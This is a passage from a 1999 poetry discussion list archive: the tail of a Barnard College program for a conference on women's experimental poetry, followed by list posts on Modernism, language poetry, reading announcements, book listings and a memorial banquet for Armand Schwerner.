Session 3 Opening a Community: Women Writers at the Poetry Project 1. Brenda Coultas, “Feminist Voices from the Project 1966-76” 2. Marcella Durand, “Publishing the Community: Women’s Publications” 3. Kimberly Lyons, “A Retrospective of Experimental Women’s Writing” 4. Prageeta Sharma, “Notions of Ethnicity: Creating a Poetic Community” 5. Eleni Sikelianos, “Memory & Ascent: Mayer, Notley and Waldman”

PANEL II: 10:15 AM 11:15 AM
Session 4 On Lucie Brock-Broido’s The Master Letters
1. Stephen Burt, “The Selves of The Master Letters”
2. Eric LeMay, “The Master Letters and The Master Letters”
3. Stephen Massimilia, “On the Language of Catastrophe and Transfiguration”

Session 5 On Language Theory
1. Calvin Bedient, “Leslie Scalapino’s Aesthetic Theory”
2. Bob Perelman, “Rae Armantrout, the Objectivists and Imagism”
3. Joshua Weiner, “McHugh: Another Kind of ‘Language’ Writing”

Session 6 On Brenda Hillman’s Loose Sugar
1. Susan McCabe, “Alchemies of Synthesis”
2. Lisa Sewell, “Memory, Development and Women’s Time”

Panel III: 11:30 PM 12:30 PM

Session 7 On Alice Notley
1. Kimberly Lamm, “Flexibly Authentic Identities in Notley’s Love Poetry”
2. Heather Thomas, “Notley’s Epic ‘Beginning Again’”

Session 8 On Quilts, Postscripts and Jokes
1. Logan Esdale, “Postscripted Poetry”
2. Jennifer Luongo, “Quilting the Multiplicity of Voice: Mullen’s Muse and Drudge”
3. Susan Wheeler, “Gravity No Stretch For The Zip Wit of Rae”

Session 9 On “Poetics of Production” 1. Caroline Crumpacker, “Female Publishers in the 1920s and 1930s” 2. Rebecca Wolff, “Female Publishers in the 1920s and 1030s” 3. Linda Russo, “Production Between Populist Feminist Poetics & the Avant-Garde”

LUNCH: 12:30 PM 2:45 PM

ROUNDTABLE DISCUSSION:
3:00 PM 5:00 PM

Rae Armantrout, Lucie Brock-Broido, Jorie Graham, Barbara Guest, Lyn Hejinian, Brenda Hillman, Ann Lauterbach, Harryette Mullen

BREAK: 5:00 PM 8:00 PM

EVENING READING: 8:00 PM 10:00 PM

Lucie Brock-Broido
Brenda Hillman
Ann Lauterbach
Introduced by Lee Ann Brown

RECEPTION TO FOLLOW

SATURDAY, APRIL 10
REGISTRATION, MORNING COFFEE AND BOOK SALES: 8:30 AM 9:00 AM

PANEL I: 9:00 AM 10:30 AM

Session 1 On Harryette Mullen 1. Kathy Crown, “Feminist Epistemology and the Poetry of Mullen” 2. Allison Cummings, “Public Subjects: Ideas of Audience in the Poetry of Brooks, Hunt, and Mullen” 3. Elizabeth Frost, “Mullen and Traditions of the Avant-Garde” 4. Cynthia Hogue, “Mullen and the Poetics of Black Female Experience”

Session 2 Epistolarity and Experimentation: The Letter as Fact and Fiction in Innovative Writing By Women
1. Lee Ann Brown, “Alphabet Bernadette”
2. Stephen Cope, “Mayer’s The Desires of Mothers to Please Others in Letters”
3. Kate Fagan, “Hejinian and Robinson’s Letter-Poems”
4. Chris Stroffolino, “The Mayer/Riding Jackson Correspondence”

Session 3 On Susan Howe 1. Elisabeth Joyce, “Howe’s Orienteering Guide to the Adirondacks” 2. Jeffrey Jullich, “A Vertical Reading of Howe’s Invisible Angel” 3. Jean Schulte, “Howe’s ‘A Bibliography of the King’s Book, or Eikon Basilike’ and ‘Poe(t)heory’” 4. Lara Trubowitz, “Antinomian Controversies as a Principle of Poetry”

PANEL II: 10:45AM -11:45 AM

Session 4 Forms of Affect and Memory in the Poetry of Hejinian and Berssenbrugge, or, What Language Remembers of Itself
1. Charles Altieri, “Intimacy and Experiment in Berssenbrugge”
2. Craig Dworkin, “Paranoia as Literary Methodology”
3. Linda Voris, “The Shape of Memory in Berssenbrugge’s Poetry”

Session 5 On Publishing Anthologies
1. Anne Finch, “On Editing A Formal Feeling Comes”
2. Alan Golding, “Poems for the Millenium and Rothenberg as Editor”
3. Mary Margaret Sloan, “Poetics and Publication History of Selected North American Women Writers Since 1970”

Session 6 On Barbara Guest
1. Catherine Kasper, “Determinable Music: Guest’s Poetry”
2. Sara Lundquist, “Guest’s Stripped Tales: Narrative and the Experimental Poet”
3. Robert Mueller, “Poetics and Language in the Work of Guest”

PANEL III: 12:00 PM 1:00 PM

Session 7 Textualities of Race and Gender
1. Cara Cilano, “Gender, Race, Time, and Space in M. Nourbese Philip’s Looking for Livingstone: An Odyssey in Silence”
2. Linda A. Kinnahan, “Economies of Race and Gender in the Visual / Verbal Collaborative Clash of Hunt’s Arcade”
3. Elizabeth Rich, “Searching the Black Hills for Lost Histories in Weiner’s Spoke”

Session 8 Multivocal Poetics
1. Mary Jo Bang, “The New Elliptical”
2. Camille Martin, “Kristeva and Weiner: A Poetics of the Multivocal Semiotic”
3. Ira Sadoff, “Blurring the Boundaries Between Experimental and Representational Poetries”

LUNCH: 1:00 PM 2:30 PM
Conversation with Charles Bernstein and Lyn Hejinian

KEYNOTE ADDRESS, ROUNDTABLE & RESPONSE: 2:45 PM 5:00 PM

Marjorie Perloff, “After Language Poetry: Theory and the Question of Transparency”

Calvin Bedient
Rachel Blau DuPlessis
Lynn Keller

RECEPTION: 5:30 PM - 7:00 PM

EVENING READING: 7:00 PM - 9:00 PM

Rae Armantrout
Lyn Hejinian
Harryette Mullen
Introduced by Jena Osman

(Program is subject to change.)

WITH APPRECIATION The organizers of the conference, Allison Cummings and Claudia Rankine would like to thank the following organizations for their invaluable support:

The Academy of American Poets
The Axe-Houghton Foundation
The Lannan Foundation
The Poetry Society of America
Poets & Writers Inc.

Registration Form

Please print or type

This form may be duplicated for additional enrollments. Mail to the following address on or before March 30, 1999:

Tiffany Dugan, Poetry Conference Coordinator
Barnard College, 3009 Broadway
New York, NY 10027-6598

Forms may also be faxed to [redacted].

_____
Name

_____
Address

_____
City/State/Zip

_____
Telephone (with area code)

_____
E-Mail

_____
Institutional Affiliation (if applicable)

Please circle the sessions you plan to attend:

April 9
Panel I Session 1 or Session 2 or Session 3
Panel II Session 4 or Session 5 or Session 6
Panel III Session 7 or Session 8 or Session 9

April 10
Panel I Session 1 or Session 2 or Session 3
Panel II Session 4 or Session 5 or Session 6
Panel III Session 7 or Session 8

Conference Fees:

April 9
___ Pre-registration $20
___ Student with ID $12
___ Barnard Faculty & Staff $12
___ Lunch $15

April 10
___ Pre-registration $20
___ Student with ID $12
___ Barnard Faculty & Staff $12
___ Lunch $15

Enclosed is a check for $_____ made payable to Barnard College.

Walk-in Registration is $25 for each day of the conference. Lunch is by pre-registration only.

Please send information regarding:

___ Travel ___ Hotels ___ Parking

General Information

Registration: Enrollment for the conference is limited and will be conducted on a first-come, first-served basis. Registration forms should be mailed to be received by March 30, 1999.

Walk-in Registration will take place on Friday, April 9 and Saturday, April 10, in the Barnard Hall Lobby, located at Broadway and 117th Street. Your cancelled check will serve as your receipt and registration acknowledgement. No confirmation of your registration will be sent.

Lunch will be provided for conference participants at an additional charge of $15 for Friday or Saturday, $30 for both days. Please indicate on the registration form if you wish to order lunch. A list of local restaurants will be provided in your registration packet. Lunch is by pre-registration only.

Fee: The fee for the two day conference is $40, ($20 per day). Walk-in Registration is $50, ($25 for each day). There is a special two day rate of $24 for students with ID, Barnard Faculty and Staff ($12 for each day). The fee includes refreshments, but does not include lunch.

Cancellations: For individuals who pre-register, cancellations will be accepted until April 5. The balance will be refunded, less a $5 processing fee. Individuals wishing to cancel after April 5 will forfeit the entire conference fee.

Questions: If you have any questions regarding registration, hotel accommodations, or any special needs you wish to discuss, please contact Tiffany Dugan at [redacted] or E-mail [redacted]. Although there is no parking available at the College, information on parking in the vicinity is available upon request. Barnard College is wheelchair accessible.

↑ Index

244. schuchat
Re: Let's do the Modernism!
Fri 19 Mar 1999

John Tranter and others -- did Ford Madox Ford have any role in creating Modernism? I mean, is he one of the "30" cited? Since he did, after all, teach at an American university (well, college -- Olivet College was the name of the place, as I recall).

Stein's series of lectures at Chicago and elsewhere in America were the functional equivalent of a year (okay, at least a semester) as a guest professor. Is she one of the 30 creators?

Is Pound one of the 30? Until they fired him for letting a dancer friend sleep over, he taught at an American institution of higher learning.

I hold no brief for academics, am not one myself, and hate to spoil a good sound bite, but wonder thus in the interests of accuracy.

↑ Index

245. Elizabeth Treadwell
Page Daughters & the Microwaveable Feast
Fri 19 Mar 1999

Hi all,

I am laughing in response to John Tranter's note about the Modernists never having TAUGHT, and the Panelists only having taught, and somehow it seems hooked up with these conversations about Mothers and Daughters. Hey, Ally McBeal, fictional as she is, is a cultural worker, Linda! A cultural broker?

I think part of the problem is that I feel still quite young as a poet, perhaps I do not understand my poetics and influences and 'points' NOW as I will THEN. This is certain, no? But one problem with the definition of this, 'my', generation, X, NEXT, Diet Coke, whatever, is that we are in the long and often quite voluble, dreary, and bossy shadow of the BABY BOOM. (I am also influenced by my material (girl) conditions in this tyedied collegiate burg to feel so.) In this shadow, which also contains many a glimmer and salvation, especially for a girl, left there by your mother's awkward, glorious footsteps, it is often hard to find a mirror in which to see the light of one's own self. Especially when those who left said footprints and leaflets and napalm are shining a flashlight through the typeface of Time magazine into your eyes to see if you appreciate them & all they've done for you.

Kathy Lou points out that there are people of color and working class people among us (us = The Microwaveable Feast?), & so then there are also young bratty people just pulling their brass tacks together too. And if US can include an even longer and wider history, all the better. What about Grandma and Gramps and your freaky 2nd cousins?

Its mysterious in here, do you know who your influences are?

What was R Wolff's manifesto?

Don't trust anyone over/under 30/40
ET

"Yet no one can extinguish 'oneself' , in the sense of being weighted by traditions, to see the real, which is only the present."

-Leslie Scalapino, _Objects in the Terrifying Tense/Longing from Taking Place_, Roof, 1993

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

246. Poetry Project
this week's news
Fri 19 Mar 1999

The Tiny Press Center at http://www.poetryproject.com has been REORGANIZED with a convenient new "click and point" option that allows you to go directly to the place in which you are interested. Also new: Elizabeth Treadwell of Double Lucy Books/Outlet Magazine gives us her thoughts on publishing. And also also, there are lots of new entries on chapbooks, broadsides, magazines. Thank you everybody for sending such great materials in!

Snaps/graphics/pictures are not far behind...

And this week:

Nick Tosches has cancelled for tonight, Friday, March 19, 10:30 pm (we know you got this once before, but nobody wants surprises, right?) to be replaced by Jonathan Berger and Debbie Branch.

Monday is

Hoa Nguyen & Dale Smith
(check out "Skanky Possum" in the Tiny Press Center!) in from out there Austin, Texas
at 8 pm

Wednesday is Jocelyn Saidenberg & Ann Lauterbach

at 8 pm

Jocelyn has a fantastic poem ("seance") in the Poets & Poems archives at the Poetry Project website.

Friday is

Inappropriate Behavior with Legs McNeil & Gillian McCain

at 10:30 pm

and then it's April

with readings by Philip Lamantia (a very rare thing), Anne Waldman, Victor Hernandez Cruz, Nicole Brossard rescheduled, and a tree dedication/book party for Allen Ginsberg.

Not the cruelest month after all.

↑ Index

247. John Tranter
Free Nathaniel Tarn reading in London UK on 19 April
Fri 19 Mar 1999

Poetry Reading: SCANDALS IN THE HOUSE OF BIRDS

A Reading and Talk by NATHANIEL TARN

April 19th, Monday, at 6.30pm at King's College London in the Council Room Entrance is free. All are welcome.

SCANDALS IN THE HOUSE OF BIRDS is the title of Nathaniel Tarn's latest book, an extraordinary 'experimental' ethnography based on many years of work in Guatemala.

The first chapter of this book (and other material by Tarn) is featured in the latest issue of Jacket magazine, at this URL:

http://www.jacket.zip.com.au/jacket06/index06.html

Tarn will be reading from the book, discussing it and his recent work and also reading some of his recent poetry.

Contact - Shamoon Zamir, email to <[redacted]>
Department of English, King's College London, Strand, London WC2R 2LS, UK
Phone: (0)[redacted]
Fax: (0)[redacted]

I understand that you may not wish to receive these notices from Jacket magazine.
If so, please reply to this email to that effect, and I'll take your name off the mailing list pronto. [J.T.]

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted] Editor, Jacket magazine:
http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at
http://www.alm.aust.com/~tranterj/index.html

↑ Index

248. David L. Erben
Pitts Lodging Query
Fri 19 Mar 1999

Might someone on the list have suggestions for reasonably priced lodgings in the Pitts downtown? I'm off to a conf in April and the conf hotel is outrageously priced. Please backchannel any suggestions.

Thank you
David Erben
[redacted]

↑ Index

249. A. Jenn Sondheim
Re: Poets in Residence (fwd)
Fri 19 Mar 1999

(This was a brief interview by Peter Evans for a paper, on the trAce vir- tual writing residency coming up in September. It may be of interest here; I received permission to forward. Alan.)

On Wed, 17 Mar 1999, Peter L.Evans wrote:

> The questions are:
>
> Why did you choose to do this residency on the internet?

I do almost all my writing on the Net - I literally make my texts with the emacs or pico editors online. For me, working with avant-garde and philo- sophical/experimental issues, there is an audience; the kind of work I do is rarely published offline.

I also love the surprise of working online through conferencing and email - as well as the incredibly wide demographics and international contacts. And then it depends on what's meant by writing - I also do graphics, video, use perl programming online, and so forth. The environment is amazingly rich and active/activated.

And of course all of this brings cross-fertilizations, Deleuze/Guattari's 'rhizomatic' creativities on a world-wide scale.

> What are your aims and what do you see as the possible outcomes?
>
With the residency? Introducing experimental work, examining the possibility of community/communal writing, and running workshops which might involve post-structuralist/postmodernist thought.

Pushing writing from the older 'writing-degree-zero' to at least the binary, if not the transfinite, dimension.

> What advantages do you see to working on the internet?
>
Audience and performativitiy (programming, using MOOs and MUDs and talkers etc.). Or do you mean working with students? You're unclear here. If the latter, then the ability to work one on one, looking at the text and not at the writer, suggesting other resources no farther away than a URL. Also, in relation to texts - the ability to close-read and intersperse comments. One disadvantage may be the time necessary to reply, simply because of the labor of typing.

> Were you able to set your own 'agenda' for the residency?

The agenda's not set yet, but I would say yes, although I would do this in conjunction with past residencies - it's useless if it doesn't work. I hope the agenda ultimately is somewhat dialectical, in other words.
>
> Do you see your work as being primarily education, or promotion of poetry, > or as poetry mentor, or something else?

Again, I assume now you mean my residency? I look on my "work" as my artistic output. I'd say in relation to the residency, all three of the above, as well as learning myself, from others, thinking through the possibilities of language on the Internet, the future of language in general, new modalities of communition.

What happens when prosthetics are the order of the day, when there are no more masterpieces, when information overload requires information management, when it's no longer possibile to 'know oneself,' and so forth.
>
> Will there be objective evaluation of the work being done?

What is "objective evaluation" of work in general? I'm not sure what you mean. I certainly hope and expect the staff of trAce to take an interest in all of this and if I stray 'out of line,' to say something. And of course the work will be in the process of continuous evaluation - perhaps a kind of evaluation 'without standards.'
>
> How will you judge the success of the residency?
>
By a lot of things - whether or not other participants remain; the quality and quantity of their participation; the quality of the work developing; whether other participants feel they're benefiting.

> How do you see your own writing developing?

Always developing. I deal with the metaphysics and phenomenologies of languages, including programming languages, scripting, etc. In terms directly related to the residence, on one hand - probably very little effect - and on the other - probably a great deal in terms of what may emerge from community.

Yours, Alan

> Thank you for your time.
>
> Best Regards
>
> Peter Evans

↑ Index

250. Burt Hatlen
Re: POETICS Digest - 16 Mar 1999 to 17 Mar 1999 (#1999-50)
Sat 20 Mar 1999

Re: Richard Carfagna's comment on Enslin. The New NPF Enslin _Selected Poems_ does not include excerpts from Enslin's long poems. Rather the book is devoted to extensive selections from his many collections of short poems. NPF is hoping to do new editions of Enslin's out-of-print long poems (_Forms_, _Synthesis_, and _Ranger_) and his unpublished long poem _Axes_.

Burt Hatlen

↑ Index

251. Laura Moriarty
Re: of Mothers & Daughters
Sat 20 Mar 1999

Dodie, Kathy Lou, et al. -

About the class thing - I was responding to a point made by Marjorie Perloff that many early language writers were white men who had been to Ivy League colleges - true enough, but, I thought, too generalizing and disappearing of the backgrounds of such important figures as Ron Silliman, Erica Hunt and Rae Armantrout (just for starters) among the early language writers, not to mention the genders of other early ones. My own background (education, chances etc) happens to be working class and I find currently that I am among the writers (from various classes) who are spending a lot of their time making a living. I like the effect of class on people's writing, (and like to observe and imagine it in individuals) but what class are we anyway? Being an artist/poet/whatever with a working class background might mean these days that though you have an open invitation to lunch with the Baroness (or to read in this or that place etc) you can't afford the time or the air fare.

I don't think I said that I thought classes were breaking down - though god knows I may have - but that experimental or innovative writing were becoming somewhat meaningless terms, given the many kinds of work being published under those general rubricks -- and that that was a good thing.

In retrospect, I liked the way Marjorie's talk shook things up - though I regretted the attention it took from some of the other talks. I found it very interesting to be there in person - saying yes but what about this event or person or fact which seems to refute this generalization(?) Usually one reads these things in a book and just fumes away.

As currently my hands are almost numb from entering SPD's upcoming catalog - I should say (type), while I have the strength - that I am very grateful to Fanny and Rae for setting up such a unique, valuable and memorable conference. That several people came up to Leslie Scalapino (whose talk against literary lineage was great) to tell her that her talk had been "brilliant" - and also that several of the talks - Myung's, Carla's, Dodie's, Harryette's, and (agreeing with Joel here) Renee's and Pamela's (there are other names I know I am forgetting) - were interesting in a directly inspiring and enabling and challenging way. Not to mention one of the most incredible group readings of all time that happened on Sunday (thanks Stephen and Joe) -

Oh and I also don't think I quite said (Kevin) that computers were taking over but that we are interacting with our media technologies in a way that is changing us and our writing and that the way technology is changing does seem to have something like a life of its own with which we we interact in our own writing and thinking processes - as is occurring here.

Laura

[redacted]
http://socrates.berkeley.edu/~moriarty/

↑ Index

252. nora chai
cavalli query
Sat 20 Mar 1999

---

hello all -- i tried to post this message a few days ago and afaik it didn't go through, but on the off chance this is a repeat post please flame me duly.

could anyone point me to english translations of/work in english about the italian poet patrizia cavalli? so far i've only seen her work in anthologies, i.e. vintage contemporary world poetry, various italian compendia, etc. i believe there is/are collection(s) of her work in english, but i haven't been able to find them in the usual online catalogues. any info apppreciated. thanks a whole lot...

nora
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

253. Charlie Morrow
update on Banquet for Armand (fwd)
Sun 21 Mar 1999

Please list the enclosed announcement.
Thank you,

Charlie Morrow
studio [redacted]
fax [redacted]
Charles Morrow Associates, Inc.
2095 Broadway, Ste 504
New York, New York 10023 USA

---------- Forwarded message ----------

Fellow Celebrators of Armand!

The Peoples Poetry Gathering - and organizers Poets House and Citylore - have added this Banquet to the weekend events

Jeanine Klein (Armand's sister) and I, with input from our collaborators, have been putting things together.
The Swedish cultural authorities have given Sten Hanson a travel grant to come over and MC with me. Rumor has it he will wear his tails and Royal Swedish honorary colors conferred by the King of Sweden two years ago.
It is interesting to note that a former King of Sweden, famous for his picture on a Swedish kronor bill, is a ringer for Armand.

Charlie Morrow
www.cmorrow.com

Please come to the Banquet for Armand Schwerner
Sunday, April 11, 7 pm
Teachers & Writers,
5 Union Square West, NYC

Armand Schwerner was a poet musician compared in his recent NY Times obit with Ezra Pound. He is most famous for a series of poems called The Tablets in which he creates Mesopotamian
"found tablets" with missing and untranslatable

lines and the comments of the scholar translator.
The Lving Theater created a critical success with a staged version of The Tablets.

We all are chipping in 18$/person for food and wine. Ellen Zweig and Jeanine Klein have created a meal of Armand's favorite food from the Moustache Restaurant. Wines have chosen accordingly.

There will be toasts and performances by Adam Schwerner, Jeanine Klein,
Jerome Rothenberg, Spencer Holst, Sten Hanson,
The Living Theater, Charles Bernstein,
Jackson Mac Low and Anne Tardos, Mike Heller, Ellen Zweig, Francis Alenikoff, Pierre Joris, Nicole Peyrafitte, Charlie Morrow, Phill Niblock (film), Bernard Heidseick (recorded on phone), Logos Duo of Belgium with a work based on the address in Antworp where Armand was born. And more.

We have seatings for 70.
Please prepay reservations by April 10 through Citylore, phone [redacted]. No tickets sold at event.

Presented as part of the Peoples Poetry Gathering by Poets House and Citylore in association with Teachers and Writers Collaborative, Jeanne Klein and Charlie Morrow.

↑ Index

254. maz881
Re: Page Mothers & Delinquent Daughters
Sun 21 Mar 1999

In a message dated 3/18/99 7:14:43 PM Hawaiian Standard Time, [redacted] writes:

<< Nancy discussed Sianne Ngai's "Poetics of Disgust" (orig. pub'd in _Open Letter_) as making the sort of moves that Silliman (et al?) had demanded (in Philly Talks) but as being ignored as such, criticized on the basis of it's having been carelessly read. She proposed that a Poetics of Disgust works as a "cultural poetics," a relation of poetics to the social 'in the tradition of' Lang po, but structured with its own, although contingent, ideaology. >>

Linda, thanks for the long and thoughful post. can you clarify the clause "criticized on the basis of it's having been carelessly read"? also, what evidence do you or did Shaw feel supports the notion that people are ignoring Sianne's essay in the "group-manifesto" sense? it seems obvious to me at least that the essay, with an editorial thrust by jeff derksen, functions exactly in this way. now if you take the essay (which is part of a larger piece/project i know little about--might be a dissertation) out of open letter it would appear to me to to function a lot less in this traditional group forming negativity sense. and i suppose i would be more inclined to meet the essay in this context. i guess i see the group manifesto thing as played out. not that groups aren't happening or that groups aren't primary to "advancement" (i get by with a little help from my friends), but i believe once you start defining groups on paper with poems and essays then eventually those definitions, which appear fixed in print, will come back to haunt you. so that you get exclusion problems, who's in who's out problems, correct form problems, race gender and class problems, people who think they're in one group fighting against people who think they're in another group, etc. eg l-p looks to be led by white prose-poetry writing poem-essay blurring hetero males seeking out the academic sinecures of the mark strands of the world. i'm not saying that's the case or even that it's an intelligent way to read the l-p phenom. but it can be read that way. and we should keep in mind Dodie's good point about revisionism re Shange.

i suppose it could be argued that i am just having some anxiety of "appearance". perhaps. but all of the energy put into that group definition could be keeping you from the next good poem. so that the group project initialized as l-p, at least as i read it being valorized in the recent open letter, might actually hinder "advancement" (now). also i mean where is the "advancement"?

to me it seems more important (now) to look for commonalities among different groupings and try to create permeable groups, to seek out many to many relationships.

Bill Luoma

↑ Index

255. aerialedge

New @ Bridge Street, Blanchot, Creeley, North &&&

Mon 22 Mar 1999

Ordering & discount information at the end of the list.

1. _Above the Human Nerve Domain_, Will Alexander, Pavement Saw, $12. "displaced & obsessed with contaminated grammar"

2. _Tales of Murasaki and Other Poems_, Martine Bellen, Sun & Moon, $10.95. Winner, National Poetry Series selected Rosmarie Waldrop. "We know what the animals do because we married them."

3. _Four Year Old Girl_, Mei-mei Berssenbrugge, Kelsey Street, $12. "The long neck is how light looks like occupied time."

4. _The Station Hill Blanchot Reader: Fiction and Literary Essays_, Maurice Blanchot, trans. Lydia Davis, Paul Auster, and Robert Lamberton, Station Hill, $29.95. Reprints seven of Blanchot's eight Station Hill Books including _Death Sentence_, _Thomas the Obscure_, _The Madness of the Day_, & _Vicious Circles_.

5. _& Calling It Home_, Lisa Cooper, Chax, $11. " A mind (also called a sin) until rhythm insists on its / last stand. /We float to ground & belt down an old soul like polite corage / which, as if one can't tell, is as cute as easily as a button."

6. _The Evacuated Forest Papers_, Jeff Conant, Buck Downs Books, $10.95. ". . . to say nothing beyond my ken, / to say nothing if it's bigger than / your head . . ."

7. _Day Book of a Virtual Poet_, Robert Creeley, Spuyten Duyvil, $12. "All the tendentious proposals as to 'why write,' in Pound's useful phrase, finally fade to the one point W. C. Williams made by saying, 'Why don't we tell them it's fun?'"

8. _The Arcades_, Michael Davidson, O Books, $10. "This duet seeks some area not quoted"

9. _Poetry As Experience_, Philippe Lacoue-Labarthe, Stanford, $14,95.

10. _Matinees_, Ange Mlinko, Zoland, $13. "but don't make too much of this or someone will call you 'poetic'"

11. _The Case_, Laura Moriarty, O Books, $11.50. "He regains his humility. She is recognized as having stuck with it. This seems like a promotion. The unsolved nature of the case is the institution they have become."

12. _Dark_, Hoa Nguyen, Mike & Dale's Press, $7. "numb where the knowledge knife is gifted"

13. _New and Selected Poems_, Charles North, Sun & Moon, $12.95. "In the language of the spirit / one of the waist-high ashtrays is on fire!"

14. _The Cambridge Companion to Ezra Pound_, ed Ira B. Nadel, Cambridge, $19.95. George Bornstein, Hugh Witemeyer, Daniel Albright, Ian F. Bell, Ronald Bush, Peter Nicholls, Richard Taylor, Massimo Baciagulpo, Ming Xie, Reed Way Dasenbrock, Michael Ingham, Tim Redman, Helen M. Dennis, & Wendy Flory.

15. _Shiny Magazine Number 9/10_, ed. Michael Friedman, guest ed. Larry Fagin, $15. T Berrigan, Szamatowicz, North, Parsons, Coolidge, Mlinko, Ashbery, Greenley, Reverdy trans Padgett, Malmude, Young, Violi, Koch, Willis, Mathews, McCain, M Gizzi, Reifman, Collom, Hejinian, Rodefer, Meltzer, T Davis, Hollo, Jarnot, Champion, Goldman, Towle, Sharma, Greenwald, Harryman, Heliczer, Berrigan/Padgett, & Winthrop Mackworth Praed.

16. _Spiderwasp or Literary Criticism_, Juliana Spahr, Spectacular Books, $6. "_(one thing?)_"

17. _Deepstep Come Shining_, C.D. Wright, Copper Canyon, $14. "What if we stay here long enough to attend a stranger's funeral. I like this spot."

18. _The Future of History_, Howard Zinn, interviews with David Barsamian, Common Courage, $13.95.

19. _Louis Zukofsky and the Poetry of Knowledge_, Mark Scroggins, Alabama, $24.95.

New In paperback:

The Mooring of Starting Out: The First 5 Books, John Ashbery, $18.
So There: Poems 1976-83, Robert Creeley, $14.95.
Wittgenstein's Ladder, Marjorie Perloff, $16.

Some Recent Bestsellers:

True, Rae Armantrout, $12.95.
My Way: Speeches and Poems, Charles Bernstein, $18.
Big Allis 8, $8.
A Secret Location on the Lower East Side: Adventures in Writing 1960-1980, $27.95.
Mina Loy: Woman & Poet, ed Maeera Shreiber & Keith Tuma, $24.95.
Log Rhythms, Charles Bernstein, w/ illustrations by Susan Bee, ltd edition of 500 copies, saddlestitched, $35.
Ron Silliman and the Alphabet, ed Thomas A. Vogler, $15.
An Anthology of New Poetics, ed Christopher Beach, $19.95.
Whatsaid Serif, Nathaniel Mackey, $12.95.
Democracy Boulevard, Kit Robinson, $11.95.
The Future of Memory, Bob Perelman, $14.95.
Tripwire: A Journal of Poetics #2, $8.

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC 20007.

↑ Index

256. david bromige
L A readings this week
Mon 22 Mar 1999

{DB posting on behalf of Aldon Neilsen}

Two Upcoming Poetry Events at Loyola Marymount University

Tuesday March 23 at 8 p.m.

Peter Gizzi & Elizabeth Willis

Hilton 300 C & D

Thursday March 25 at 8 p.m.

Ron Silliman

McIntosh Center

No admission charge to either event.

7900 Loyola Boulevard (off Manchester).

inquiries to English dept., [redacted].

↑ Index

257. Kevin L. Magee
Re: Chris' interest in Riding-Crane
Mon 22 Mar 1999

SNAPSHOT

The impulse is everything
They did not expect to be next to each other Now they are about to fall over each other and see not them that cannot be 'seen' other things also so try to show those other to say it would be not to slide off it being said, find ways to sacrifice it to the elsewhere in us Not to tell (you) for you or for me The action of thunder noticed but not thought about, is
"The Wrestling God's WCW Thunder Report": "Hey anonymous,
I hope you don't believe that windbag crap you are trying to tell people" (The Turnstile Scroll)(or Delphic Oracle?)
What I write (note) I don't (try not to) notice.

We are what interferes with us and that rough-handling and penetration is the lived moment, that there are paths to be followed like responsibilities Thought is what floods us and wants to be written and what was interfered with was not an aim or narration to build a wall around itself and form its own kingdom (as an oyster makes a pearl of the interfering sand) making myself available to the barrage energy and reflection upon what was just 'here' only 'there' for the moment of its performance that memory (selective, judgmental, etc.) immediately what need does it answer? Spaces emerge, and a new mutant species tries to inhabit them
Why both talk about what you are talking about?
You are never tallking about what you are talking about
I don't want to kill what I really want to talk about neurons project me against the strength of incoming stimuli, force me to new efforts of will and intervention and if we respond it is as an 'error' of responding to what we PROJECT . . . offending as a way to respond to what is present try to anticipate the next stage see the entire web-of-associations make that statement and do that thing if the audience is being delighted by what they already know is delightful the rallying cry must not be the game (move and countermove) of Western art write the PROTECTION against noticing, PROTECT us what can we include in the on-going heretofore devalued and kept out, etc., etc.
web intersections, web of relatedness of all find exhiliration and freedom and creative ever-alike relation to your own web you are no longer blind and hypnotized you are a free man in all moments of your life make contact with the reality that is really-there not a new "that knocks me out like . . . " (Shakespeare, sex, etc.) convinced of the reality of one's own seeing when we are awed or moved by the other, an alien other in whom we wish we could partake (Hart's romantic art) interacting the mind forgets its own workings and there is no real meeting, only face to another moment of "artificial" "something" that is mindless too one dimensional to be a real encounter choose turbulence, inject disruption into knowing my instinct to charge what comes into me and it occurs to me that the reason it occurs to me what I am doing now in the collision with the now-between PROJECT and what resists it the reflex is the pretext to set a process in motion, it's a pivot point

(i.e. frame now, frame not-there) AMASS as the MASS grew, suck the life into the orbit my day of writing on that day allows for eruptions of specific willed activity the starter button of "Hey kids!" gets pushed a certain effect on a certain kind of human attention performing the necessary leverage on the machine of my class for a good many years now
Why did my machine start working this way?
AUTHORITY not available to me in other aspects of my kid-life and all those other refined things that classical art is always about, thought washing itself lightly onto the page noise broke out over me, chu_____ trees seem to shake and to lean over me my attendants are Kaldirhgyet (Split Person) Waralsawal (Crazy or idiot, a narhnorh or spirit), and 'Arhkawdzem-Tsetsauts (Tsetsaut-is-thoughtless, also a narhnorh) sometimes it is a bad song within him or her (wawq: sleeping, or ksewawq: dreaming), her full name is Niskyaw-romral'awstlegye'ns upheaval in singing and clapping of drums

P.S. Dear Chris, ask Bernadette?
She's probably got a copy of Chelsea 35 (1976)
Alfredo de Palchi, the guest editor of this anthology of L(R)J writes that he first read her "Respect for the Dead" in Nuovissima Poesia Americana e Poesia Negra (1949-1953).

Kevin

↑ Index

258. Lawrence Upton.
(no subject)
Mon 22 Mar 1999

Writers Forum has published

NOISES by Serge Segay and Bob Cobbing ISBN 0 86162 866 7 - "collaborative visual poetry"

They're quite different poets. Segay collages disparate material, slams it together and leaves it there, jarring to some extent and uses certain bits and pieces over and again - his rubber stamp "Made in Zaumland" appears here

I think Cobbing has had the last say here. The elements of the page meld together - but he too has utilised some heterogeneous bits and pieces to get to where he is - I recognise the phrase "plummets towards a worm hole" from cris cheek's talk on Domestic Ambient Noise at the last sv colloquium... & I have just noticed "poetics of domestic noise"... sounds familiar (no pun intended)

WF has also published two more pamphlets of Domestic Ambient Noise = ##204 & 205

BRIDGE THAT GAP by Bob Cobbing & Lawrence Upton 0 86162 867 5 - Upton's variations on Cobbing's PONTOON

